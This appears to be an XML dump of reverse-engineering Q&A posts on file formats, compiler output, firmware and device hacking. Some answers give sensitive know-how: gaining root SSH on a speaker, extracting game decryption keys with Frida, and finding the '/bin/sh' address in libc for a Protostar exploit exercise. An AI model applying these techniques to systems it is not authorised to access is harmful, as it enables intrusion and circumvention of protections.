  <row Id="25576" PostTypeId="1" CreationDate="2020-07-29T19:29:05.630" Score="2" ViewCount="484" Body="&lt;p&gt;I am looking how to find the video URL of a Twitter video so I can code a converter later (using nodejs or something), but I can't figure out how to do this. I saw &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14482/how-to-get-video-url-from-embedded-link-in-twitter&quot;&gt;this&lt;/a&gt; but it doesn't really clear anything up (I can't figure out where the json file they are talking about is)&lt;br&gt;&#xA;Any help is appreciated&lt;/p&gt;&#xA;" OwnerUserId="33995" LastActivityDate="2020-07-29T19:29:05.630" Title="How to get video file URL from Twitter" Tags="|javascript|websites|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25578" PostTypeId="2" ParentId="22074" CreationDate="2020-07-29T20:17:24.733" Score="2" Body="&lt;p&gt;as my previous answer was deleted (I'm guessing because it was not an answer per se) I've got more of an answer for you.&lt;/p&gt;&#xA;&lt;p&gt;the firmware does nothing to stop you from using UART to interact with it except require a login.&#xA;root login is enabled for such an endeavor and you already have the password in the buildroot.config file.&#xA;from there you'll need to dig into the location of sshd_config as I'm not sure its in a standard place.&#xA;Add a line in the Authentication section of the file that says &amp;quot;PermitRootLogin yes&amp;quot;.&#xA;Restart SSH server with &amp;quot;service sshd restart&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;the firmware has an inserting security feature as it's using MetFS to encrypt the data.&#xA;the password for this is also available on the device in the sysupdate script if you want to tinker with a firmware update to enable ssh or when airplay2 is available go multi-room with a few of these speakers.&lt;/p&gt;&#xA;" OwnerUserId="33974" LastActivityDate="2020-07-29T20:17:24.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25579" PostTypeId="2" ParentId="23325" CreationDate="2020-07-29T20:19:25.343" Score="1" Body="&lt;p&gt;Next time please include the original apk in your question. Luckily I'm working on the same game so I can help somewhat.&lt;/p&gt;&#xA;&lt;p&gt;Get the old apk (yzjlzl_2.80_1_20180918_170403_83de83.apk) from bilibili (google it) and use IDA to decompile it. This is an obvious solution to JNI_Onload obfuscation if you want to do static debugging.&lt;/p&gt;&#xA;&lt;p&gt;One of the other way to do this is a Live Debugging with Frida, but I'm sure we're not interested into it bc we need the decryption schema.&lt;/p&gt;&#xA;" OwnerUserId="33996" LastActivityDate="2020-07-29T20:19:25.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25580" PostTypeId="2" ParentId="21831" CreationDate="2020-07-29T20:24:59.403" Score="2" Body="&lt;pre&gt;&lt;code&gt;  v5 = (_BYTE *)(*(int (__fastcall **)(cocos2d::CCFileUtils *, const char *, const char *, unsigned int *))(*(_DWORD *)this + 16))(&#xA;                  this,&#xA;                  a2,&#xA;                  &amp;quot;rb&amp;quot;,&#xA;                  &amp;amp;v26);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is a signature xxtea encryption with the sign &lt;code&gt;rb&lt;/code&gt;. Now you need to find the xxtea encryption key in &lt;code&gt;this&lt;/code&gt; method. You can either dig a little bit more from &lt;code&gt;CCFileUtils&lt;/code&gt; or &lt;code&gt;AppDelegate&lt;/code&gt;(As this article: &lt;a href=&quot;https://boards.libre.io/threads/decrypt-xxtea-block-cipher-in-lua-file-from-cocos2d-lua-games.297552/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://boards.libre.io/threads/decrypt-xxtea-block-cipher-in-lua-file-from-cocos2d-lua-games.297552/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Another way (my favorite way), is to use frida and hook to the method, print out &lt;code&gt;this&lt;/code&gt; (arg[0]) using this guide: &lt;a href=&quot;https://boards.libre.io/threads/decrypting-lua-files.238916/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://boards.libre.io/threads/decrypting-lua-files.238916/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33996" LastActivityDate="2020-07-29T20:24:59.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25582" PostTypeId="2" ParentId="25565" CreationDate="2020-07-30T06:39:52.437" Score="1" Body="&lt;p&gt;In the datasheet that you provided are links to more reference documents. One of them is &lt;a href=&quot;http://ww1.microchip.com/downloads/en/DeviceDoc/00002389A.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ATWINC1500 Wi-Fi Network Controller Software Design Guide&lt;/a&gt;. In chapter 13 is described the WINC Serial Flash Memory, including how to access it.&lt;/p&gt;&#xA;&lt;p&gt;In case that this doesnt work you can also disassemble ATWINC-1510 module and find direct access to the flash IC and read content from there.&lt;/p&gt;&#xA;" OwnerUserId="25138" LastActivityDate="2020-07-30T06:39:52.437" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25583" PostTypeId="1" CreationDate="2020-07-30T07:11:15.390" Score="3" ViewCount="169" Body="&lt;p&gt;I am interested to build a tool which can stream audio synchronized to multiple UE Boom speakers.&lt;/p&gt;&#xA;&lt;p&gt;UE (Mega)Boom speakers already have the ability to build up a broadcast/multicast domain to play audio simultaneously. Logitech calls this feature &amp;quot;Party Up&amp;quot;. Each speaker has two Bluetooth interfaces. One is used to communicate with the audio source (eg. your phone). The other one (most likely BLE) is used for communication between the speakers. So when I'm connected to one speaker it is possible to link other (not connected) speakers to play the audio. Synchronization happens between the first speaker (master) and the other linked speakers (slaves). So the stream from the source to the first speaker is not synchronized anymore as soon as you add speakers. To stream the music to the slave speakers, the master uses the second Bluetooth interface. I don't know what protocol they used but maybe they leverage the &amp;quot;multistream audio&amp;quot; feature in Bluetooth LE.&lt;/p&gt;&#xA;&lt;p&gt;As initially said, I'm trying to build a tool which allows eg. a Raspberry Pi to either be part of the broadcast/multicast domain and receive the synchronized audio, or to initiate the stream and send out the synchronized stream to all the speakers.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone has any experience with these speakers? Sniffing Bluetooth packets without being part of the communication is quite hard. So my current approach would be to reverse engineer the protocol step by step:&#xA;First check what the speaker advertises. Then advertise that myself to one of the speakers and check the response. Basically capture and replay.&lt;/p&gt;&#xA;&lt;p&gt;Also, I haven't really seen any implementations of Bluetooth LE multistream audio so far. Does anyone know a (unix) tool which is capable of using this rather new feature?&lt;/p&gt;&#xA;&lt;p&gt;PS: I've obviously seen &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20293/ue-megaboom-serial-protocol&quot;&gt;UE Megaboom serial protocol&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20319/sniffing-serial-bluetooth-traffic-on-android&quot;&gt;Sniffing serial Bluetooth traffic on Android&lt;/a&gt; however they all look at the connection between the source and the first (master) speaker. I'm interested in the second connection from the master to the slaves (which I am not part of so wireshark won't help).&lt;/p&gt;&#xA;" OwnerUserId="33998" LastActivityDate="2020-07-30T07:11:15.390" Title="Logitech UE (Mega)Boom Broadcast Audio" Tags="|sniffing|bluetooth|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25584" PostTypeId="1" AcceptedAnswerId="25588" CreationDate="2020-07-30T08:53:39.667" Score="0" ViewCount="214" Body="&lt;p&gt;I am trying to reverse engineer an image file generated by my microscope. It is supposed to be an HDR image. The file has very distinct pattern in HEX editor but I am unable to recognise it:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aAASu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aAASu.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;First 16 bytes are some sort of a header and then every 4th byte is 0x3C, and sometimes it is 0x3D instead. The file continues with the same pattern until the end and ends with 0x3C as well.&#xA;Is this something very proprietary or do any of you guys recognise it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: The entire file is available &lt;a href=&quot;https://drive.google.com/file/d/1jP8mGYxNcpvN0f1whTgiLwe7jatWe1PW/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23171" LastEditorUserId="23171" LastEditDate="2020-11-05T13:56:42.377" LastActivityDate="2020-11-06T21:21:25.557" Title="What image format is this?" Tags="|file-format|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25585" PostTypeId="1" CreationDate="2020-07-30T12:51:36.897" Score="1" ViewCount="263" Body="&lt;p&gt;Using DnSpy is great, but it's very awkward to ascertain the control-flow of an executable. Is anyone able to advise on free-of-charge helpful apps that display a control-flow graph?&lt;/p&gt;&#xA;&lt;p&gt;IDA Home does not work on .NET assemblies, nor does Radare2 sadly.&lt;/p&gt;&#xA;&lt;p&gt;Hopefully someone can tell what they do?&lt;/p&gt;&#xA;" OwnerUserId="33992" LastActivityDate="2020-08-06T08:19:45.253" Title="Determine Control-Flow Of A .NET Assembly?" Tags="|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25586" PostTypeId="2" ParentId="25572" CreationDate="2020-07-30T19:05:32.693" Score="-2" Body="&lt;p&gt;on windows.&#xA;dynamic link use funcion like loadlibrary or getprocaddress to get process function address and call them.&#xA;static link use a table call import address table define in the excutable maintain by the system when program was loaded(the table have the process function address)&lt;/p&gt;&#xA;" OwnerUserId="34006" LastActivityDate="2020-07-30T19:05:32.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25587" PostTypeId="1" CreationDate="2020-08-01T14:55:43.507" Score="0" ViewCount="211" Body="&lt;p&gt;I am fairly new to RE on windows.&#xA;I have a python script which via ctypes uses functions from a dll.&lt;/p&gt;&#xA;&lt;p&gt;I don't know if it's possible, but I would like to debug the dll used in the python script (the dll is not executable).&lt;/p&gt;&#xA;&lt;p&gt;I tried to attach to the python process, but it exits right after, and I also tried to start the process from IDA, but I get a python console and my breackpoint is never reached.&lt;/p&gt;&#xA;&lt;p&gt;So how can I do it?&lt;/p&gt;&#xA;" OwnerUserId="34009" LastActivityDate="2020-08-01T14:55:43.507" Title="Debug dll file used in python script IDA" Tags="|ida|dll|python|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25588" PostTypeId="2" ParentId="25584" CreationDate="2020-08-01T15:08:45.790" Score="6" Body="&lt;p&gt;Without more information, as suggesting by the various comments, it's hard to be completely sure but, based on the information available, the format seems to be a very simple uncompressed vendor-specific 'raw' format with no specific identification or 'magic' numbers or tagged structure.&lt;/p&gt;&#xA;&lt;p&gt;What follows is my best guess as to the format.  Having a full file and a picture of the image it is thought to contain would confirm specific details either way.&lt;/p&gt;&#xA;&lt;p&gt;The header appears to have the following format -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 00000800    // width of image (W) = 2048 pixels&#xA;00000004: 00000600    // height of image (H) = 1536 pixels&#xA;00000008: 0000000C    // number of bytes per pixel (B) = 12 bytes&#xA;0000000C: 00006000    // number of bytes per row (T) = W * B, probably rounded up to multiple of 8 or 16 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The suggested size of 2048x1536 does appear consistent with specifications from several digitail/usb microscopes that are available online.&lt;/p&gt;&#xA;&lt;p&gt;The pixel data then follows for each row, with each pixel appearing to be stored as 3x 32-bit IEEE floating-point value (i.e. B = 12 bytes.) These three values being, presumably, R, G &amp;amp; B components in some order.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// 1st row&#xA;00000010: 3C8B50D4 3C8F6AF0 3C8974E5    // 1st pixel = 0.017006, 0.017507, 0.016779&#xA;0000001C: ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Subsequent rows will appear &lt;code&gt;T&lt;/code&gt; bytes beyond the previous row.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// 2nd row (at 0x00000010 + 0x00006000)&#xA;00006010: ....&#xA;&#xA;// 3rd row (at 0x00000010 + 0x00006000 x 2)&#xA;0000C010: ....&#xA;&#xA;// 4th row (at 0x00000010 + 0x00006000 x 3)&#xA;00012010: ....&#xA;&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If correct, this would suggest your original file is relatively large at around 36MB.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2020-11-06T21:21:25.557" LastActivityDate="2020-11-06T21:21:25.557" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25589" PostTypeId="1" CreationDate="2020-08-01T23:07:27.150" Score="2" ViewCount="172" Body="&lt;p&gt;I need help interpreting this compiler optimization:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   ;R12 = 0x88888889;&#xA;    UMULL           LR, R2, R12, R3 ; R3 * 0x88888889;&#xA;    MOV             R2, R2,LSR#3 ; ((R3 * 0x88888889 &amp;lt;&amp;lt; 32) &amp;gt;&amp;gt; 3)&#xA;    RSB             R2, R2, R2,LSL#4 ; (R3 * 0x88888889 &amp;gt;&amp;gt; 32 &amp;gt;&amp;gt; 3) &amp;lt;&amp;lt; 16&#xA;    RSB             R2, R2, R3,LSL#1 ; (R3 &amp;lt;&amp;lt; 1) - ((R3 * 0x88888889 &amp;gt;&amp;gt; 32 &amp;gt;&amp;gt; 3) &amp;lt;&amp;lt; 16);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;currently i interpreted this like so (not sure it is correct):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(R3 * 2) - ((R3 * 0x88888889 * 120) / 0xFFFFFFFF);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I found that it maybe integer division, I hope someone can help me understand this optimization better&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="34017" LastActivityDate="2020-08-03T09:11:05.830" Title="ARM multiply compiler optimization" Tags="|arm|compiler-optimization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25590" PostTypeId="1" AcceptedAnswerId="25704" CreationDate="2020-08-02T08:50:27.180" Score="2" ViewCount="592" Body="&lt;p&gt;I have some measured data comes from a various types of sensors. The sensors are connected to a data-logger in order to store measurement data. After measurement, the data transported and stored in a logosense data-logger.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; For reading the stored measurement data we can use &amp;quot;HYDRAS 3&amp;quot; a software developed by OTT (using RS232 serial connection and OTT hrdrosence protocol). After reading the data this &lt;a href=&quot;https://privatebin.net/?e57a3210c8ba7673#BKqxHMT8wR4chTygifft9iGdCZADT2fGdhWtHT1N2U4B&quot; rel=&quot;nofollow noreferrer&quot;&gt;read-file&lt;/a&gt; has been obtained. At the same time we have monitored the serial port and the communication between the data-logger and HYDRAS to obtain the following &lt;a href=&quot;https://privatebin.net/?625ee60b6c8749ec#GRK2MQFZbHbm2Eghqt1pLEeVoRiLCzAef3AW8eQur3PE&quot; rel=&quot;nofollow noreferrer&quot;&gt;monitor-file&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;My question is how can i map these two file and extract the measured data at different measurement times from the monitor-file?(or just understand the file).&lt;/p&gt;&#xA;&lt;p&gt;It seems that my question is not a cryptography problem, I was wondering how Reverse Engineering can solve my problem. Any starting tips?&lt;/p&gt;&#xA;&lt;p&gt;P.S. the read-file is just for level sensor and the measured data are in meters. e.g. 3.522 at time 10:00, 3.515 at time 11:00 and both are measured on 11/11/2019&lt;/p&gt;&#xA;&lt;p&gt;Any help or guidelines will be greatly appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="33580" LastEditorUserId="34929" LastEditDate="2021-01-20T10:29:39.903" LastActivityDate="2021-02-19T11:07:00.680" Title="How to extract information from a binary file knowing the target info" Tags="|ida|binary-analysis|decryption|unknown-data|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25591" PostTypeId="2" ParentId="14746" CreationDate="2020-08-02T11:06:49.440" Score="1" Body="&lt;p&gt;GDB couldn't find real strings most of the time. But, you can find the offset of the string from the local object file and adjust it with dynamic loading information.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;code&gt;info proc map&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Mapped address spaces:&#xA;&#xA;Start Addr   End Addr       Size     Offset objfile&#xA; 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6&#xA; 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6&#xA; 0x804a000  0x806b000    0x21000          0           [heap]&#xA;0xb7e96000 0xb7e97000     0x1000          0        &#xA;0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so&#xA;0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so&#xA;0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so&#xA;0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so&#xA;                                      ...   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And from &lt;code&gt;/lib/libc-2.11.2.so&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;user@protostar:/opt/protostar/bin$ xxd -u /lib/libc-2.11.2.so |grep -B 1 bin/sh&#xA;011f3b0: 6600 696E 6974 7900 6E61 6E00 2D63 002F  f.inity.nan.-c./&#xA;011f3c0: 6269 6E2F 7368 0065 7869 7420 3000 6361  bin/sh.exit 0.ca&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Use this info to find static address of &lt;code&gt;/bin/sh&lt;/code&gt; string in virtual address space:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/s 0xb7e97000+0x011f3bf&#xA;0xb7fb63bf:  &amp;quot;/bin/sh&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know this is not an answer to your first question about why GDB find shows this behavior when finding strings. I couldn't find anything about that. I used Protostar Stack6 challenge binary and exploit-exercises-protostar-2.iso environment, so addresses must be the same. There is also &lt;code&gt;/bin/csh&lt;/code&gt; string in the same shared object file. You can try to find that address using this method.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastActivityDate="2020-08-02T11:06:49.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25592" PostTypeId="1" CreationDate="2020-08-02T11:30:57.307" Score="2" ViewCount="914" Body="&lt;p&gt;As a preface, &lt;strong&gt;I do not have any experience in reverse engineering&lt;/strong&gt;. I am an application developer, so this field is way out of my area of expertise. My end goal is to create a web page out of this information but this is the first hurdle I faced: getting the required data in the first place.&lt;/p&gt;&#xA;&lt;p&gt;I am currently trying to identify the nature of a file that I have suspicions might be encrypted and/or compressed (I'm still trying to learn the tell-tales of a file being encrypted/compressed). Since this is way above what I can do at the moment, it would be great if someone can help out or at least provide some guidance.&lt;/p&gt;&#xA;&lt;p&gt;This is an example file (do let me know if you'd like some more examples):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1vwt4G55E-TaGvuWM86L6S-7Sbd2o0gOp/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1vwt4G55E-TaGvuWM86L6S-7Sbd2o0gOp/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So far, here's what I know and attempted:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File is most likely a JSON or CSV (not 100% sure, but all the other unencrypted metadata files are JSON/CSV format)&lt;/li&gt;&#xA;&lt;li&gt;File has a lot of repeated sets of binary &lt;code&gt;ef&lt;/code&gt; &lt;code&gt;bf&lt;/code&gt; &lt;code&gt;bd&lt;/code&gt;, which I'm assuming are just paddings or an attempt to obfuscate?&lt;/li&gt;&#xA;&lt;li&gt;Most of the corresponding hexes do not really translate to a readable set of standard encodings such as UTF-8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Any help/guidance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="34022" LastActivityDate="2020-08-02T12:31:37.260" Title="Identifying the nature and contents of a file" Tags="|binary-analysis|file-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25593" PostTypeId="2" ParentId="25592" CreationDate="2020-08-02T12:31:37.260" Score="2" Body="&lt;p&gt;When given an unknown file there are several things you can do:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify if the file is a binary format (raw bytes) or a text format. Any hex/text editor should be enough for that purpose.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the file is Binary - it could have text strings inside, which could help understand the nature of the file.  In your case, no text strings appear in the file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some binary files have &amp;quot;magic values&amp;quot; - identifiers that help to understand which file format it is. for example - the 4 first bytes in &lt;code&gt;ELF&lt;/code&gt; file format will be always &lt;code&gt;.ELF&lt;/code&gt;. In your case, the file starts with &lt;code&gt;CE A3 EF BF&lt;/code&gt; which doesn't correspond to any known format.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next step will be to use binary tools like &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk&lt;/a&gt; to identify any compressed/internal files/objects. In this case, it yields nothing.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next step will be to calculate the entropy of the file. It could be done by &lt;code&gt;binwalk -E &amp;lt;file&amp;gt;&lt;/code&gt;. in this case, it yields 0.52 - the higher the entropy it, the higher chances the file is encrypted/obfuscated. Here, it looks like the entropy is not high, meaning the file is not encrypted/obfuscated.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So overall it looks like it's just a custom binary file format. In order to continue investigating, you need to understand which program is using the file - and in what purpose, and continue with a reverse engineering process, usually based on static disassembler like &lt;code&gt;IDA PRO&lt;/code&gt; or the free &lt;code&gt;Ghidra&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-08-02T12:31:37.260" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25594" PostTypeId="2" ParentId="25533" CreationDate="2020-08-02T14:46:11.957" Score="1" Body="&lt;p&gt;No, TCK doesn’t have to match the CPU clock. In fact its usual speed is in kilohertz, not megahertz. However, you likely won’t see it in the oscilloscope or logic analyzer because it is driven by the JTAG probe and not the CPU. Discovering the JTAG pins requires active probing using something like JTAGulator, you are unlikely to find it via passive observation.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-08-02T14:46:11.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25595" PostTypeId="2" ParentId="25516" CreationDate="2020-08-02T14:55:25.813" Score="1" Body="&lt;p&gt;I you really want to try making the unpacked executable, &lt;a href=&quot;https://low-priority.appspot.com/ollydumpex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDumpEx&lt;/a&gt; works in IDA too.&lt;/p&gt;&#xA;&lt;p&gt;However, there is an alternative approach: a loader. This is a program which starts the target in paused state, puts breakpoint on OEP or some initially called APIs then lets it run. Once the breakpoint is reached, you can patch anything you need. This way you don’t need to bother with making an unpacked executable and bypassing anti-unpacking protections (if there are any).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-08-02T14:55:25.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25597" PostTypeId="2" ParentId="25589" CreationDate="2020-08-02T16:52:14.383" Score="1" Body="&lt;p&gt;You are on the right lines with integer division.&lt;/p&gt;&#xA;&lt;p&gt;The first 3 instructions are reasonably clear -&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;R2&lt;/code&gt; after &lt;code&gt;UMULL&lt;/code&gt; is the result of an integer division by 1.875 (&lt;code&gt;= 0x100000000 / 0x88888889&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;the following &lt;code&gt;MOV&lt;/code&gt; is then a further integer divide by 8 resulting in R2 now containing the original &lt;code&gt;R3&lt;/code&gt; divided by 15 (= 1.875 * 8)&lt;/li&gt;&#xA;&lt;li&gt;the first &lt;code&gt;RSB&lt;/code&gt; is then a multiplication by 15 (&lt;code&gt;= R2 * 16 - R2 &lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;At this point &lt;code&gt;R2 = 15 * int( R3 / 15 )&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The last &lt;code&gt;RSB&lt;/code&gt; then gives the final result &lt;code&gt;R2 = R3 * 2 - 15 * int( R3 / 15 )&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; in fact, this can be simplified to &lt;code&gt;R2 = R3 + (R3 % 15)&lt;/code&gt; (where % is the modulo operator.)&lt;/p&gt;&#xA;&lt;p&gt;You can see example compilations of both of these formulae &lt;a href=&quot;https://godbolt.org/z/34KeY1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2020-08-03T09:11:05.830" LastActivityDate="2020-08-03T09:11:05.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25598" PostTypeId="2" ParentId="24801" CreationDate="2020-08-02T17:12:57.423" Score="3" Body="&lt;p&gt;Yes, that is the main app, telnet into the stb via network, user root, no password. You will find the stb has that block mounted as  /dvb/out.elf which is this file.&lt;/p&gt;&#xA;&lt;p&gt;It's the main app, most command line utils are all in busybox, else a couple of scripts after OS boot and network or usb insertion.&lt;/p&gt;&#xA;&lt;p&gt;Serial port (maybe not installed to back panel) is used for firmware loading, not tty.&lt;/p&gt;&#xA;&lt;p&gt;2 versions I know of with C610 processor, GX6605s and GX6622 which have cat5 as well as wifi support, bigger flash and ram.&lt;/p&gt;&#xA;&lt;p&gt;The tuner/demod, the panel, and the frame buffer dvb output are all loaded as kernel modules which the dvb app uses to control the IO.&lt;/p&gt;&#xA;&lt;p&gt;Also, there is a working NFS client, the user is gx, the home dir is writable and stored to flash, also /home/gx has a working bin dir where you will find the mentioned scripts.&lt;/p&gt;&#xA;&lt;p&gt;A lot of different makes sell the same OEM box, and factory tools allow defining your user themes, images and look on the same operating firmware.&lt;/p&gt;&#xA;&lt;p&gt;I am looking at re-purposing these boxes as they are a cheap and complete sbc with 2 I2C and SPI for $20 in a box although not as powerful as other sbc choices.&lt;/p&gt;&#xA;&lt;p&gt;The only way seems to be to use the buildroot and Qemu tools and setup with the same kernel etc as the box firmware. I am trying to use it to create binaries for the stb, and run them direct from your linux box over NFS. It will be a learning curve.&#xA;Assuming dvb user is gx:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /home/gx/XXX&#xA;&#xA;mount  -t nfs -o rw,tcp,nolock 192.168.XXX.XXX:/home/hca/ /home/gx/XXX/&#xA;&#xA;umount -f -l /home/gx/XXX &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;RE ELF, maybe start here. &lt;a href=&quot;https://linux-audit.com/elf-binaries-on-linux-understanding-and-analysis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://linux-audit.com/elf-binaries-on-linux-understanding-and-analysis/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;binwalk and readelf are helpful.&lt;/p&gt;&#xA;" OwnerUserId="34024" LastEditorUserId="42335" LastEditDate="2023-06-29T10:14:36.413" LastActivityDate="2023-06-29T10:14:36.413" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25599" PostTypeId="2" ParentId="23310" CreationDate="2020-08-02T17:18:51.277" Score="1" Body="&lt;p&gt;I have done some academic research in the field of malware classification. It is not an easy task, and I don't know what similarity you are looking for, but I can list mostly used static features for binary classification, at least for malicious/unknown software.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Header information: dynamic libraries, sections&lt;/li&gt;&#xA;&lt;li&gt;File size&lt;/li&gt;&#xA;&lt;li&gt;Debug information&lt;/li&gt;&#xA;&lt;li&gt;Executable code: disassembled instructions, opcodes, bytes (as arrays, probability vectors, and n-grams), code flow graph&lt;/li&gt;&#xA;&lt;li&gt;Data and strings&lt;/li&gt;&#xA;&lt;li&gt;Entropy can be used for different sections or a whole file&lt;/li&gt;&#xA;&lt;li&gt;Mapping one-dimensional byte array to two-dimensional grayscale image and using image classification methods&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We are not at a point where we can fully use these binary features and machine learning models in commercial products. It may help you if you can tolerate some false-positive classification. GitHub has lots of malware classification examples you can work on.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastActivityDate="2020-08-02T17:18:51.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
